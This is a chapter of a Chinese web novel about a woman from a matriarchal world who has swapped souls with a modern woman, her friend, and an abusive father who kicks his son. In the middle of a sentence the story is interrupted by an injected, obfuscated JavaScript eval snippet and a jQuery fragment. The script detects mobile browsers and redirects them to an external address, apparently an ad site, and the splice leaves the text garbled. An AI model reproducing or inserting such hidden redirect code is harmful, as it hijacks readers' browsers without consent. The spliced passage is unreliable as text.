48.048:歪打正着

作品:《主持母道后暴富了

    -


    天空低沉阴暗,乌黑色的云从远处飘来,似要下一场倾盆大雨洗刷城市。


    办公室内,黑灰色的大理石反射出虚无缥缈的人影,墙上的画家真迹微微晃动着。似乎要从墙上逃离,去往自由世界,可惜却又被主人摆正。


    祈安翘着二郎腿坐在沙发上,俯视着跪在地上不住发抖的男人。她面含微笑,笑意却不达眼底。


    她朱唇轻启,话中隐含的意味却不禁让人打寒颤:“再说一遍?”


    “我…我要说的真的说完了!就是这样,我一觉睡醒,就来到这个世界了,其它的,我真的不知道!”


    徐光宗肥胖的身躯跪趴在地上,整坨肉不住地抖着,牠已经把牠所知道的事情都说完了,怎么还会这样!


    来这个世界一月有余,牠也看了几本什么“龙傲天”之类的书,这个时候,不应该是莫欺少男穷,然后牠逆袭的时候吗!


    怎么一来了,就变成这样了,早知道应该挑别的女人的…偏偏,偏偏找了个祝国女人!


    牠低下头,似要把自己身上的肥肉抖下去才罢休。连脸也不敢抬起来,就一直埋在怀里。对女人的恐惧,早就在牠出生那一刻注定。


    谁知来了这个世界,好不容易嚣张了没一会,祈安就让牠知道了谁才是牠的母神。


    季同舟在旁边吃着芋头条看戏,她嚼的嘎嘣脆。一声一声的咀嚼声在徐光宗看来简直像催命符一般,牠痛哭流涕地换了个方向跪趴,不住磕头:


    “祖宗,祖宗!娘!别吃了,我实在是害怕……”


    “啊?”


    季同舟惊讶,她其实都没明白是怎么回事,就听见祈安姐说什么祝国呀,男德呀,祝律呀,凌迟呀。然后那男的痛哭流涕地突然跪下,让祈安姐宽恕牠。


    这一切发展的太快,等她回过神来,芋头条已经自动跳上她的手了。


    季同舟伸手又拿了一根,决定选择无视:“我没这么大儿子。”


    她心里补充道,更何况长得还这么丑。


    见恳求这个不管用,徐光宗又费劲的挪动身躯,转了回来,牠正打算再次跪趴下去,祈安出声打断了他:


    “哎哎,你怎么这么没用啊?什么都不知道?那你来了之后,你就没寻思干点什么?或者说,你有没有回去过?”


    顿了片刻,祈安问出最关键的一句话,她想知道,这些人是否也像她和宋祈安一样,可以换回来。


    男人愣了,牠的脑子经这一吓,早已变得不灵光,呆愣愣张口:“回去?我…难道还要回去?”


    想至此,自己在这个世界的所作所为皆不符合男德,要是回去祝国,自己是被五马分尸下油锅也不够的。牠又疯魔起来,跪地上大哭:


    “我不回去,我不回去……”


    “好吵啊。”


    季同舟被魔音灌耳,有些食不知味了。她皱起眉头求助般看向祈安姐。


    眼见没什么重要信息,祈安威胁牠最后一句,“你知道你回去的话会面临什么吧?今天我们说的一切,最好都给我烂在心里。”


    随后她踢了男人一脚,徐光宗屁滚尿流的跑走。估计有这一遭,牠这辈子也不想进来季董事长的办公室了。


    望着外人终于走了,季同舟把零食放在桌上,凑近祈安:“祈安姐,你刚刚说的祝国,是什么意思呀?”


    祈安眼眸轻轻落在季同舟身上,她眸中有季同舟看不懂的复杂神色。


    到底该不该跟同舟说呢?


    于情,她是自己的朋友,也好歹是一起经历很多事情了。她对自己有知情权。


    于理,这是一个显而易见的阴谋,如果日后出了什么事,她不知道如何应对怎么办?


    思忖片刻,她下了决心,抬眸:“同舟,我不是这里的人。”


    季同舟明显没明白她的意思,“那你是祝国的吗?这是哪个省?”


    祈安摇头,“它不是一个省份,是一个国家。我是来自另外一个世界的人,准确的说,我和这幅身体的主人互相魂穿了。”


    她补充道,“你看,刚刚那个男人牠就是我们国家的,在我的家乡,小男人都要带喉结罩。并且家产只给……”


    祈安想了个季同舟能听懂的词,“只给女儿,女儿在我们那里叫儿,并且一般没有人刻意追生男孩,在我们那,牠们是最没用的。并且我们那里有很多卫生用品,每年还过月经节。”


    季同舟嘴巴长成了“o”形。


    她想象不到那样的社会是什么样,正如祈安一开始也想象不到季同舟的社会什么样。


    “啊…怪不得你对这方面了解这么多。那你从小肯定过得很幸福!还有个事,祈安姐,就是我从第一次见你就发现了。你没有穿胸x罩,不难受吗?”


    从第一次祈安为她出头的时候,她就发现这位善良的女孩子虽然是夏日炎炎的时节,却仍旧没有穿内n衣。她当时不太好意思说,现在二人熟络起来,她便又想起这茬。


    “不难受啊,在祝国我们根本不知道胸x罩是什么,只有小男人会防止喉结下垂,蛋下垂,有喉结罩蛋罩。”


    祈安耸耸肩。


    季同舟忍不住问,“那你们不怕下垂吗?这样会不太好看。”


    “我们那的女人,没人在意好不好看,只在乎舒服的。”


    季同舟忽然想起自己的高中舍友,那时候每天跑完操回来,她说穿的真难受,很多汗,又勒得慌。舍友说你不穿不就好了。


    她问舍友怎么能不穿?不会下垂吗?被人看见怎么办?舍友说那又怎么样?我舒服。


    这时祈安姐的脸庞若隐若现的和舍友的脸庞重合了,她们说话的语气,思想,是那么一致。


    季同舟也做了决定,她站起来,“那我以后也不穿了!”


    随即她想到另外的事,颦眉道:“那,祈安姐,你的父母,和这幅身体的父母呢?你们的亲人怎么办?”


    祈安颔首,“没事,据我观察,我们来月经时候会换回来,但我觉得,我们互换一定隐含着阴谋。”


    季同舟当下做了决定,她抬眸和祈安四目相对,皆看到彼此的决心:“那我和你一起调查!”


    -


    律师所内。


    男人拿着资料,扫了眼,随手放在桌子上。


    牠视线锁定在宋闻洲身上,摆出一副商人的语气,“您的要求是什么呢?”


    宋闻洲惙惙不安,她甚少来到这样的场所,说实在的,她自从结婚后,没有怎么来过这样的场合与外人对话。


    这个决定真的对吗?真的到离婚的地步了吗?真的不可挽回吗?


    她还在犹豫。


    “嗯…我想,就是和牠离婚,并且要儿子的抚养权。”


    钱天赐有些惊讶,翻看资料的时候,明明显示她还有一个女儿,是宋祈安。


    想到这名字,牠眼眸沉了沉,老大派他过来,不仅仅是让他享福来了,另一方面也是调查为什么这两个女的也会互换。


    这倒是歪打正着。


    牠试探性的开口,“可从资料来看,您还有一个女儿?”


    宋闻洲的手攥了起来,她面上划过犹豫,嘴微微张开,“嗯……”


    不听话的女儿,要来有什么用?


    可是话又说回来,她现在这样,不也是不听话的“妻子”吗?


    但是养儿防老,她养不起两个孩子。想想尚且年幼的儿子,和已经成年


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141527|162150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的女儿。她咬咬牙。


    别怪她了,毕竟女儿已经长大,可以自己养活自己。儿子以后可以给她养老,女儿…终究要嫁出去啊。


    嫁出去的闺女,泼出去的水。


    想到这里,她硬下心肠:“留给她爸爸抚养吧。”


    说罢,她想到因急着沟通律师,现在儿子还在家里。那男人的脾气…唉。


    她面上划过忧色,不住地抓握手指。


    钱天赐勾起唇角,意味不明:“好的女士。”


    -


    男人暴怒的摔打牠肉眼可见范围内的东西,杯子瓶子碗筷噼里啪啦碎裂一地,男儿小心翼翼地过来看,现在没有妈妈保护牠,也没有姐姐挡刀了。


    男儿懦懦道:“爸爸……”


    被这一声吸引,男人侧首,更加来气,牠吼道,“你怎么不知道拦着你n妈!”


    “哇…哇哇……”被男人猛的吓到,男孩大哭起来,牠不明白为什么会变成这样,一向包容牠们的妈妈突然离家出走,而往日里,充当受气包角色的姐姐也很久没有回来。


    牠第一次充当爸爸生气时,被骂的角色。自然不习惯。


    被哭声吵的烦心更甚,男人面含厌恶,牠猛的拍了一把桌子,音量加大,似要把墙顶掀翻,白花花的墙皮扑簌掉落在地板砖上:


    “你牠x的能不能别哭了!”


    “哇…哇…我要妈妈!妈妈!…”


    男人被吵的头皮一阵一阵发麻,牠本就没怎么做过这种照顾哭泣小孩的事,此时更是只想暴力解决手段。


    牠眼底划过怒意,要是老婆和女儿还在,说到底,都怪她们俩都太不听话!


    牠抬脚踹了自己平日里最疼爱的儿子,“别牠x哭了!你听不懂人话吗!”


    男孩被这一脚踹懵了,可也知道不能再哭。牠捂住嘴巴,一抽一抽的。


    男人稍稍冷静下来,牠想起了许久不联系的女儿,希望她还有点用,这xx的xx,给她打个电话,让她把她妈带回来!


    要是她不接电话,别怪牠不顾父女情分…


    该死的,一个个反了天了!牠可是一家之主!


    -


    “朕现在就要登基朕要登基……”


    欢快的微信铃声响起,季同舟侧首提醒,“祈安姐!你来电话啦!”


    不过这是什么歌,还能登基…季同舟心里嘟囔着,准备一会上网搜搜。


    她替祈安扫了一眼备注,发觉是一个十分中年男人风格的网名,凑近了些脑袋:“好像是什么,砥砺前行?”


    祈安摁下冲水键,推开厕所的门,甩甩水珠走过来,“啊?我看看这谁啊…”


    眯着眼睛瞅了头像半天,一个似曾相识的中年男人和小男孩,谁来着?


    摁了接通的瞬间,一声男人暴喝从屏幕那头传来,夹杂着不少土话骂街:


    “你牠x的怎么这么久才xx接电话!你那个xx妈都是跟你xxx的学的!x的,老x子生了小x子……”


    话没说完,祈安快速伸手点了挂断。把对面的怒火摁回屏幕中。


    季同舟瞳孔微缩,这男的怎么这么没素质?她从小到大,还没怎么听过这种肮脏言语,愤愤吐槽道:


    “这谁呀?牠骂得好脏。”


    祈安坐到沙发上,认同点头,“是的。据我观察,应该是原身的父亲。”


    “那牠找你什么事?骂的这么难听…”季同舟颦眉,为朋友不满。


    祈安细想缘由,还没想出个所以然,另一通电话紧跟着就又来了:


    “朕现在就要登基就要登基……”


    两人目光同时落在屏幕,备注是:妈妈。


    祈安又摁了接通。